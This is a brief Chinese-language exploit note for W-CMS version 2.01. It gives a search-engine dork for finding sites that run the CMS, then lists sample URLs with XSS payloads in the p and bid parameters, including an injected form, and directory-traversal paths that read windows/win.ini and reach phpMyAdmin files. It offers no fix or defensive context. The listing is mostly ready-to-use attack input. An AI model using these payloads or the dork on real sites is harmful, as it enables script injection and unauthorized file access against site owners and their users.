W-Cms XSS和遍歷目錄漏洞

官方網站：http://w-cms.info/
下載地址：http://code.google.com/p/wcms/
 

關鍵字： intext:"Powered by w-CMS"
版本：[2.01]
 

XSS漏洞

http://hellxman.blog.51cto.com/index.php?bid=1&COMMENT=1 "XSS"
http://hellxman.blog.51cto.com/?p=3"XSS"
http://hellxman.blog.51cto.com/?bid=5&p=1"XSS"
 
 
http://hellxman.blog.51cto.com/?p=3<FORM action="Default.asp?PageId=-1" method=POST id=searchFORMname=searchFORM style="margin:0;padding:0"><INPUT type="hidden" value="" name="txtSEARCH"></FORM>

目錄遍歷漏洞：

http://hellxman.blog.51cto.com/wcms-2.01_2/?p=../../../../../../../../../../windows/win.ini
http://hellxman.blog.51cto.com/wcms-2.01_2/?p=../../../../../phpMyAdmin/db_create.php